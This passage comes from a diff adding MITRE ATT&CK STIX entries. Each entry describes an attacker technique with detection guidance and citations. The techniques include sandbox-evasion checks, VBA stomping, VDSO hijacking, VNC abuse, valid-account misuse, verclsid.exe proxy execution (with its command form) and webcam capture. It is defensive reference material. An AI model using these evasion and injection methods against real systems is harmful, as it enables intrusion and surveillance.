"https://attack.mitre.org/techniques/T1550", + "external_id": "T1550", + "source_name": "mitre-attack" + }, + { + "url": "https://csrc.nist.gov/glossary/term/authentication", + "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.", + "source_name": "NIST Authentication" + }, + { + "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication", + "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.", + "source_name": "NIST MFA" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "User Activity Based Checks", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T14:57:48.362Z", + "created": "2020-03-06T21:04:12.454Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Static File Analysis", + "Signature-based detection", + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", + "x_mitre_contributors": [ + "Deloitte Threat Library Team" + ], + "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1497/002", + "external_id": "T1497.002", + "source_name": "mitre-attack" + }, + { + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", + "source_name": "Deloitte Environment Awareness" + }, + { + "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", + "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.", + "source_name": "Sans Virtual Jan 2016" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", + "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.", + "source_name": "Unit 42 Sofacy Nov 2018" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "User Execution", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Instance: Instance Start", + "Instance: Instance Creation", + "Image: Image Creation", + "Command: Command Execution", + "Container: Container Start", + "Container: Container Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation", + "Process: Process Creation" + ], + "x_mitre_version": "1.4", + "modified": "2021-08-26T16:42:35.936Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "IaaS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1204", + "external_id": "T1204", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "VBA Stomping", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/007", + "external_id": "T1564.007", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", + "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.", + "source_name": "FireEye VBA stomp Feb 2020" + }, + { + "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/", + "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.", + "source_name": "Evil Clippy May 2019" + }, + { + "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239", + "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.", + "source_name": "Microsoft _VBA_PROJECT Stream" + }, + { + "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278", + "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.", + "source_name": "Walmart Roberts Oct 2018" + }, + { + "url": "https://github.com/bontchev/pcodedmp", + "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.", + "source_name": "pcodedmp Bontchev" + }, + { + "url": "https://github.com/decalage2/oletools", + "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.", + "source_name": "oletools toolkit" + } + ], + "x_mitre_data_sources": [ + "Script: Script Execution", + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T14:02:07.944Z", + "x_mitre_system_requirements": [ + "MS Office version specified in _VBA_PROJECT stream must match host" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", + "x_mitre_contributors": [ + "Rick Cole, Mandiant" + ], + "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", + "created": "2020-09-17T12:51:40.845Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "VDSO Hijacking", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:28:45.232Z", + "created": "2020-01-14T01:35:00.781Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", + "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/014", + "external_id": "T1055.014", + "source_name": "mitre-attack" + }, + { + "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html", + "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.", + "source_name": "ELF Injection May 2009" + }, + { + "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/", + "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.", + "source_name": "Backtrace VDSO" + }, + { + "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/", + "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.", + "source_name": "VDSO Aug 2005" + }, + { + "url": "https://lwn.net/Articles/604515/", + "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.", + "source_name": "Syscall 2014" + }, + { + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", + "source_name": "ArtOfMemoryForensics" + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "VNC", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-07T22:14:25.528Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11T18:28:44.950Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)", + "x_mitre_system_requirements": [ + "VNC server installed and listening for connections." + ], + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/005", + "external_id": "T1021.005", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2", + "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.", + "source_name": "The Remote Framebuffer Protocol" + }, + { + "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac", + "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", + "source_name": "MacOS VNC software for Remote Desktop" + }, + { + "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication", + "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.", + "source_name": "VNC Authentication" + }, + { + "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc", + "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.", + "source_name": "Hijacking VNC" + }, + { + "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication", + "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.", + "source_name": "macOS root VNC login without authentication" + }, + { + "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/", + "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.", + "source_name": "VNC Vulnerabilities" + }, + { + "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/", + "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.", + "source_name": "Offensive Security VNC Authentication Check" + }, + { + "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/", + "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.", + "source_name": "Attacking VNC Servers PentestLab" + }, + { + "url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html", + "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.", + "source_name": "Havana authentication bug" + }, + { + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing" + }, + { + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "source_name": "Gnome Remote Desktop grd-settings" + }, + { + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "source_name": "Gnome Remote Desktop gschema" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Valid Accounts", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Metadata", + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "2.3", + "modified": "2021-10-19T03:29:48.018Z", + "created": "2017-05-31T21:31:00.645Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "x_mitre_defense_bypassed": [ + "Firewall", + "Host intrusion prevention systems", + "Network intrusion detection system", + "Application control", + "System access controls", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", + "x_mitre_effective_permissions": [ + "User", + "Administrator" + ], + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security", + "Yossi Weizman, Azure Defender Research Team", + "Netskope", + "Mark Wee", + "Praetorian" + ], + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078", + "external_id": "T1078", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/560.html", + "external_id": "CAPEC-560", + "source_name": "capec" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Verclsid", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-08-19T19:29:18.138Z", + "created": "2020-08-10T13:59:38.443Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "x_mitre_defense_bypassed": [ + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", + "x_mitre_contributors": [ + "Rodrigo Garcia, Red Canary" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/012", + "external_id": "T1218.012", + "source_name": "mitre-attack" + }, + { + "url": "https://www.winosbite.com/verclsid-exe/\u00a0", + "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved August 10, 2020.", + "source_name": "WinOSBite verclsid.exe" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", + "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.", + "source_name": "LOLBAS Verclsid" + }, + { + "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/", + "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.", + "source_name": "Red Canary Verclsid.exe" + }, + { + "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.", + "source_name": "BOHOPS Abusing the COM Registry" + }, + { + "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", + "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.", + "source_name": "Nick Tyrer GitHub" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-14T19:40:47.644Z", + "name": "Video Capture", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:37.917Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1125", + "external_id": "T1125", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/634.html", + "external_id": "CAPEC-634", + "source_name": "capec" + }, + { + "source_name": "objective-see 2017 review", + "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Virtual Private Server", + 